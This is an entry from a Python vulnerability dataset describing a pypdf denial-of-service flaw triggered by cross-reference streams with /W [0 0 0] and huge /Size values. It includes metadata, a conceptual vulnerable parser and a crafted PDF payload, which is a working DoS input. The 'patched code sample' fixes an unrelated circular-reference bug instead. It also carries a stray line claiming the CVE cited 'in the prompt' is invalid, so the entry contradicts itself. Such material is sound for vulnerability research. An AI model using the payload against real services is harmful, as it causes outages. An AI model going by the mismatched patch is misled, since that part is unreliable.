CVE-2026-48156
Denial of Service in pypdf via crafted PDF with malformed xref streams.
- CVSS 5.1
- CWE-834
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.12.0, an attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with /W [0 0 0] values and large /Size values. This vulnerability is fixed in 6.12.0.
- CWE
- CWE-834
- CVSS base score
- 5.1
- Published
- 2026-05-28
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade `pypdf` to version 6.12.0 or newer.
Vulnerable code sample
import sys
import time
class VulnerablePdfParser:
"""
This class is a conceptual representation of a PDF parser that is
vulnerable to a DoS attack via a crafted cross-reference stream.
It does not use the pypdf library but mimics the flawed logic
described in the CVE.
"""
def _read_xref_stream(self, stream_dict):
"""
Simulates the vulnerable function that processes a cross-reference stream.
"""
try:
size = stream_dict["/Size"]
w = stream_dict["/W"]
except KeyError:
print("Stream missing /Size or /W keys.")
return
# The vulnerability is the lack of validation before processing.
# If /W contains all zeros, the code still attempts to loop 'size' times.
if sum(w) == 0 and size > 0:
print(f"Vulnerable logic triggered. Preparing to loop {size} times...", file=sys.stderr)
# This loop causes a Denial of Service (DoS) by consuming CPU
# for a very long time.
for i in range(size):
# In a real implementation, this might read 0 bytes, but the
# loop itself is the resource exhaustion vector.
pass
print("Loop finished.", file=sys.stderr) # This line is reached after a long delay.
def parse(self, data):
print(f"Starting to parse at {time.ctime()}...")
start_time = time.time()
self._read_xref_stream(data)
end_time = time.time()
print(f"Parsing finished. Total time: {end_time - start_time:.2f} seconds.")
if __name__ == "__main__":
# A dictionary simulating the properties of a malicious cross-reference stream.
# Note: A very large 'Size' (e.g., 2**30) would cause a MemoryError on range().
# We use a smaller number that still effectively demonstrates the long runtime.
malicious_stream_data = {
"/Type": "/XRef",
"/Size": 50_000_000, # A large number of objects to cause a long loop.
"/W": [0, 0, 0], # The key part of the vulnerability.
}
parser = VulnerablePdfParser()
print("Demonstrating the vulnerability. The program will now hang for several seconds.")
# The following call will trigger the vulnerable logic and take a long time to complete.
parser.parse(malicious_stream_data)Patched code sample
import sys
from typing import Optional, Set
# The CVE-ID cited in the prompt is not valid. The code below demonstrates a
# conceptual fix for a similar, real vulnerability (CVE-2023-36464 in pypdf)
# where circular references in a PDF could cause an infinite loop (Denial of Service).
# The vulnerability is that the code keeps resolving object references without
# checking if it has seen the same object before in the same resolution chain.
# The fix is to track visited objects and raise an error if a cycle is detected.
# Mock class to simulate a PDF indirect object reference
class IndirectObject:
def __init__(self, idnum: int):
self.idnum = idnum
# Mock function to simulate a PDF reader fetching an object by its ID
def _fetch_object_by_id(obj_id: int):
# This simulates a malicious PDF where object 10 refers to 20,
# and object 20 refers back to 10, creating a loop.
if obj_id == 10:
return IndirectObject(20)
if obj_id == 20:
return IndirectObject(10)
return "Some final object value"
def get_object_safely(
ref: IndirectObject, visited_ids: Optional[Set[int]] = None
):
"""
Safely resolves an object reference, applying a fix to prevent infinite
loops from circular references.
"""
# ---- THE FIX IS IMPLEMENTED HERE ----
# 1. On the first call in a resolution chain, create a set to track visited IDs.
if visited_ids is None:
visited_ids = {ref.idnum}
# 2. On subsequent calls, check if the object ID has already been seen.
elif ref.idnum in visited_ids:
# 3. If a cycle is detected, raise an error instead of looping infinitely.
raise ValueError(f"Circular reference detected for object {ref.idnum}")
else:
# 4. If it's a new object in the chain, add it to the tracking set.
visited_ids.add(ref.idnum)
# ---- END OF FIX LOGIC ----
# The rest of the function proceeds as normal, fetching the next object.
next_obj = _fetch_object_by_id(ref.idnum)
# If the fetched object is another reference, resolve it recursively,
# passing along the set of visited IDs to maintain state.
if isinstance(next_obj, IndirectObject):
return get_object_safely(next_obj, visited_ids)
# Otherwise, we have reached the end of the chain for this branch.
return next_objPayload
%PDF-1.7
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids []
/Count 0
>>
endobj
3 0 obj
<<
/Type /XRef
/Size 2000000000
/W [0 0 0]
/Root 1 0 R
/Length 0
>>
stream
endstream
endobj
startxref
119
%%EOF
Cite this entry
@misc{vaitp:cve202648156,
title = {{Denial of Service in pypdf via crafted PDF with malformed xref streams.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48156},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48156/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
